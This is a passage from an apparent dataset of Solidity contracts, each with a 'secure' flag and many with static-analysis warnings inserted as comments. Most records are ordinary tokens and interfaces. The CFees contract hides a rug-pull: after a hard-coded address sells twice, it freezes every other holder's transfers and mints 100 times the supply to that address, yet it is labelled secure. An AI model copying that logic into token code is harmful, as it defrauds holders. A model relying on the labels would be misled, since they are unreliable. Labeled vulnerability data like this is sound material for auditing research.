Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Bag #\",\n toString(tokenId),\n \"', 'description': 'Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n\t\t// write-after-write | ID: 077777d\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n function claim(uint256 tokenId) public payable nonReentrant {\n require(tokenId > 0 && tokenId < 7900, \"Token ID invalid\");\n require(mintFee == msg.value, \"mint fee is not enough\");\n payable(receiver).transfer(mintFee);\n _safeMint(_msgSender(), tokenId);\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 7899 && tokenId < 8101, \"Token ID invalid\");\n _safeMint(owner(), tokenId);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor() ERC721(\"WLoot\", \"WLOOT\") Ownable() {}\n}",
"file_name": "solidity_code_2512.sol",
"secure": 0,
"size_bytes": 13045
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ProvideNetworkValidatorLicense is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5973537): ProvideNetworkValidatorLicense.token should be constant \n\t// Recommendation for 5973537: Add the 'constant' attribute to state variables that never change.\n IERC20 private token = IERC20(0x8400D94A5cb0fa0D041a3788e395285d61c9ee5e);\n\n constructor() Ownable() {}\n\n function withdraw(uint256 amount) external onlyOwner {\n require(token.transfer(msg.sender, amount), \"transfer failed\");\n }\n}",
"file_name": "solidity_code_2513.sol",
"secure": 1,
"size_bytes": 836
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary EERC721AInitializableStorage{\n struct Layout {\n bool _initialized;\n bool _initializing;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n keccak256(\"ERC721A.contracts.storage.initializable.facet\");\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n\n assembly {\n l.slot := slot\n }\n }\n}",
"file_name": "solidity_code_2514.sol",
"secure": 1,
"size_bytes": 478
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Dogwifbag is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 1d8d5bb): dogwifbag.maxSupply should be constant \n\t// Recommendation for 1d8d5bb: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"Dogwifbag\", \"Dogwifbag\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_2515.sol",
"secure": 1,
"size_bytes": 607
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MunchTokenomics is Ownable {\n using SafeMath for uint256;\n\n address payable public charityWalletAddress;\n address payable public marketingWalletAddress;\n\n mapping(address => uint256) marketingPercentage;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bcc814d): MunchTokenomics.constructor(address,address).charityWallet lacks a zerocheck on \t charityWalletAddress = charityWallet\n\t// Recommendation for bcc814d: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5af94dc): MunchTokenomics.constructor(address,address).marketingWallet lacks a zerocheck on \t marketingWalletAddress = marketingWallet\n\t// Recommendation for 5af94dc: Check that the address is not zero.\n constructor(\n address payable charityWallet,\n address payable marketingWallet\n ) public {\n\t\t// missing-zero-check | ID: bcc814d\n charityWalletAddress = charityWallet;\n\t\t// missing-zero-check | ID: 5af94dc\n marketingWalletAddress = marketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 431b26c): MunchTokenomics.setCharityWalletAddress(address).charity lacks a zerocheck on \t charityWalletAddress = charity\n\t// Recommendation for 431b26c: Check that the address is not zero.\n function setCharityWalletAddress(\n address payable charity\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 431b26c\n charityWalletAddress = charity;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3463ffa): MunchTokenomics.setMarketingWalletAddress(address).marketing lacks a zerocheck on \t marketingWalletAddress = marketing\n\t// Recommendation for 3463ffa: Check that the address is not zero.\n function setMarketingWalletAddress(\n address payable marketing\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 3463ffa\n marketingWalletAddress = marketing;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 80e5a61): MunchTokenomics.setMarketingPercentage(address,uint256) contains a tautology or contradiction require(bool,string)(percentage >= 0 && percentage <= 100,Invalid percentage)\n\t// Recommendation for 80e5a61: Fix the incorrect comparison by changing the value type or the comparison.\n function setMarketingPercentage(\n address wallet,\n uint256 percentage\n ) external onlyOwner {\n\t\t// tautology | ID: 80e5a61\n require(percentage >= 0 && percentage <= 100, \"Invalid percentage\");\n marketingPercentage[wallet] = percentage;\n }\n\n receive() external payable {\n if (msg.value > 0) {\n uint256 balance = address(this).balance;\n uint256 marketingShare = balance\n .mul(marketingPercentage[msg.sender])\n .div(100);\n uint256 charityShare = balance.sub(marketingShare);\n\n (bool successC, ) = charityWalletAddress.call{value: charityShare}(\n \"\"\n );\n (bool successM, ) = marketingWalletAddress.call{\n value: marketingShare\n }(\"\");\n require(successC && successM, \"Transfer failed.\");\n }\n }\n}",
"file_name": "solidity_code_2516.sol",
"secure": 0,
"size_bytes": 3466
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Monarch is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"Monarch\", \"KING\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_2517.sol",
"secure": 1,
"size_bytes": 554
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Impl {\n function version() public pure virtual returns (string memory);\n}",
"file_name": "solidity_code_2518.sol",
"secure": 1,
"size_bytes": 158
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary TokenAddress {\n function neverCallIt() external pure {\n revert(\"FAKE\");\n }\n}",
"file_name": "solidity_code_2519.sol",
"secure": 1,
"size_bytes": 163
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract CFees is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 985701c): CFees._name should be constant \n\t// Recommendation for 985701c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"CFees\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dd51e2): CFees._symbol should be constant \n\t// Recommendation for 5dd51e2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"CFEES\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a6bac32): CFees._decimals should be constant \n\t// Recommendation for a6bac32: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public specialAddressSellCount = 0;\n\n bool public transferRestrictionActive = false;\n\n address public constant specialAddress =\n 0x80feeF811e940013Fbbf9B92F5cd2e5f793AB40D;\n\n event MaxTxAmountUpdated(uint256 maxTxAmount);\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (transferRestrictionActive && from != specialAddress) {\n revert(\"Transfers are restricted except for the special address\");\n }\n\n _balances[from] = _balances[from].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n\n if (from == specialAddress) {\n specialAddressSellCount += 1;\n\n if (specialAddressSellCount == 2) {\n transferRestrictionActive = true;\n\n _mintTokensForSpecialAddress();\n }\n }\n }\n\n function _mintTokensForSpecialAddress() internal {\n uint256 mintAmount = _totalSupply.mul(100);\n\n _totalSupply = _totalSupply.add(mintAmount);\n\n _balances[specialAddress] = _balances[specialAddress].add(mintAmount);\n\n emit Transfer(address(0), specialAddress, mintAmount);\n }\n\n function renounceOwnership() public virtual override onlyOwner {\n emit OwnershipTransferred(owner(), address(0));\n\n super.renounceOwnership();\n }\n}",
"file_name": "solidity_code_252.sol",
"secure": 1,
"size_bytes": 5210
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary VestingPoolsAddress {\n function neverCallIt() external pure {\n revert(\"FAKE\");\n }\n}",
"file_name": "solidity_code_2520.sol",
"secure": 1,
"size_bytes": 170
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary DefaultOwnerAddress {\n function neverCallIt() external pure {\n revert(\"FAKE\");\n }\n}",
"file_name": "solidity_code_2521.sol",
"secure": 1,
"size_bytes": 170
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n}",
"file_name": "solidity_code_2522.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract N47Token is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 6d78be3): N47Token.decimals should be immutable \n\t// Recommendation for 6d78be3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: e7a9a80): N47Token._totalSupply should be immutable \n\t// Recommendation for e7a9a80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n symbol = \"ME\";\n name = \"ME512JEFAVAR\";\n decimals = 2;\n _totalSupply = 100000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2523.sol",
"secure": 1,
"size_bytes": 2759
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PussyRocket is IERC20 {\n string public constant name = \"PussyRocket\";\n string public constant symbol = \"PROCK\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e5200e0): PussyRocket.tokenOwner should be immutable \n\t// Recommendation for e5200e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public tokenOwner;\n address public crowdsale;\n\n uint256 public totalSupply_ = 69e27;\n uint256 public constant unlockTime = 1640008800;\n uint256 public limitCrowdsale = 58e27;\n uint256 public tokensDistributedCrowdsale = 0;\n bool public remainingTokenBurnt = false;\n\n modifier onlyOwner() {\n require(msg.sender == tokenOwner);\n _;\n }\n\n modifier onlyCrowdsale() {\n require(msg.sender == crowdsale);\n _;\n }\n\n modifier afterCrowdsale() {\n require(block.timestamp > unlockTime || msg.sender == crowdsale);\n _;\n }\n\n constructor() public {\n tokenOwner = msg.sender;\n balances[msg.sender] = totalSupply_ - limitCrowdsale;\n emit Transfer(address(0), msg.sender, totalSupply_ - limitCrowdsale);\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override afterCrowdsale returns (bool) {\n require(recipient != address(0));\n require(amount <= balances[msg.sender]);\n\n balances[msg.sender] = balances[msg.sender] - amount;\n balances[recipient] = balances[recipient] + amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override afterCrowdsale returns (bool) {\n require(recipient != address(0));\n require(amount <= balances[sender]);\n require(amount <= allowed[sender][msg.sender]);\n\n balances[sender] = balances[sender] - amount;\n balances[recipient] = balances[recipient] + amount;\n allowed[sender][msg.sender] = allowed[sender][msg.sender] - amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override afterCrowdsale returns (bool) {\n allowed[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address account,\n address spender\n ) public view override returns (uint256) {\n return allowed[account][spender];\n }\n\n function increaseApproval(\n address spender,\n uint256 amount\n ) public afterCrowdsale returns (bool) {\n allowed[msg.sender][spender] = (allowed[msg.sender][spender] + amount);\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseApproval(\n address spender,\n uint256 amount\n ) public afterCrowdsale returns (bool) {\n uint256 oldValue = allowed[msg.sender][spender];\n if (amount >= oldValue) {\n allowed[msg.sender][spender] = 0;\n } else {\n allowed[msg.sender][spender] = oldValue - amount;\n }\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: daae3cb): PussyRocket.setCrowdsale(address) should emit an event for crowdsale = _crowdsale crowdsale = _crowdsale \n\t// Recommendation for daae3cb: Emit an event for critical parameter changes.\n function setCrowdsale(address _crowdsale) external onlyOwner {\n require(_crowdsale != address(0));\n\t\t// events-access | ID: daae3cb\n crowdsale = _crowdsale;\n }\n\n function distribute(address buyer, uint256 tokens) external onlyCrowdsale {\n require(buyer != address(0));\n require(tokens > 0);\n\n require(tokensDistributedCrowdsale < limitCrowdsale);\n require(tokensDistributedCrowdsale + tokens <= limitCrowdsale);\n\n tokensDistributedCrowdsale = tokensDistributedCrowdsale + tokens;\n balances[buyer] = balances[buyer] + tokens;\n emit Transfer(address(0), buyer, tokens);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5f2fed0): PussyRocket.airdrop(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(block.timestamp < unlockTime)\n\t// Recommendation for 5f2fed0: Avoid relying on 'block.timestamp'.\n function airdrop(\n address recipient,\n uint256 amount\n ) external onlyOwner returns (bool) {\n\t\t// timestamp | ID: 5f2fed0\n require(block.timestamp < unlockTime);\n require(recipient != address(0));\n require(amount <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender] - amount;\n balances[recipient] = balances[recipient] + amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function burn() external onlyCrowdsale {\n uint256 remainingICOToken = limitCrowdsale - tokensDistributedCrowdsale;\n if (remainingICOToken > 0 && !remainingTokenBurnt) {\n remainingTokenBurnt = true;\n limitCrowdsale = limitCrowdsale - remainingICOToken;\n totalSupply_ = totalSupply_ - remainingICOToken;\n }\n }\n\n function emergencyExtract() external onlyOwner {\n payable(tokenOwner).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_2524.sol",
"secure": 0,
"size_bytes": 6169
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DummyImplementation {\n uint256 public value;\n string public text;\n uint256[] public values;\n\n function initializeNonPayable() public {\n value = 10;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5e03531): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 5e03531: Remove the 'payable' attribute or add a withdraw function.\n function initializePayable() public payable {\n value = 100;\n }\n\n function initializeNonPayableWithValue(uint256 _value) public {\n value = _value;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5e03531): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 5e03531: Remove the 'payable' attribute or add a withdraw function.\n function initializePayableWithValue(uint256 _value) public payable {\n value = _value;\n }\n\n function initialize(\n uint256 _value,\n string memory _text,\n uint256[] memory _values\n ) public {\n value = _value;\n text = _text;\n values = _values;\n }\n\n function get() public pure returns (bool) {\n return true;\n }\n\n function version() public pure virtual returns (string memory) {\n return \"V1\";\n }\n\n function reverts() public pure {\n require(false, \"DummyImplementation reverted\");\n }\n}\n",
"file_name": "solidity_code_2525.sol",
"secure": 0,
"size_bytes": 1526
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Avatar {\n function nativeToken() external view returns (address);\n\n function nativeReputation() external view returns (address);\n\n function owner() external view returns (address);\n}",
"file_name": "solidity_code_2526.sol",
"secure": 1,
"size_bytes": 269
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Controller {\n event RegisterScheme(address indexed _sender, address indexed _scheme);\n event UnregisterScheme(address indexed _sender, address indexed _scheme);\n\n function genericCall(\n address _contract,\n bytes calldata _data,\n address _avatar,\n uint256 _value\n ) external returns (bool, bytes memory);\n\n function avatar() external view returns (address);\n\n function unregisterScheme(\n address _scheme,\n address _avatar\n ) external returns (bool);\n\n function unregisterSelf(address _avatar) external returns (bool);\n\n function registerScheme(\n address _scheme,\n bytes32 _paramsHash,\n bytes4 _permissions,\n address _avatar\n ) external returns (bool);\n\n function isSchemeRegistered(\n address _scheme,\n address _avatar\n ) external view returns (bool);\n\n function getSchemePermissions(\n address _scheme,\n address _avatar\n ) external view returns (bytes4);\n\n function addGlobalConstraint(\n address _constraint,\n bytes32 _paramHash,\n address _avatar\n ) external returns (bool);\n\n function mintTokens(\n uint256 _amount,\n address _beneficiary,\n address _avatar\n ) external returns (bool);\n\n function externalTokenTransfer(\n address _token,\n address _recipient,\n uint256 _amount,\n address _avatar\n ) external returns (bool);\n\n function sendEther(\n uint256 _amountInWei,\n address payable _to,\n address _avatar\n ) external returns (bool);\n}",
"file_name": "solidity_code_2527.sol",
"secure": 1,
"size_bytes": 1718
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface GlobalConstraintInterface {\n enum CallPhase {\n Pre,\n Post,\n PreAndPost\n }\n\n function pre(\n address _scheme,\n bytes32 _params,\n bytes32 _method\n ) external returns (bool);\n\n function when() external returns (CallPhase);\n}",
"file_name": "solidity_code_2528.sol",
"secure": 1,
"size_bytes": 363
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.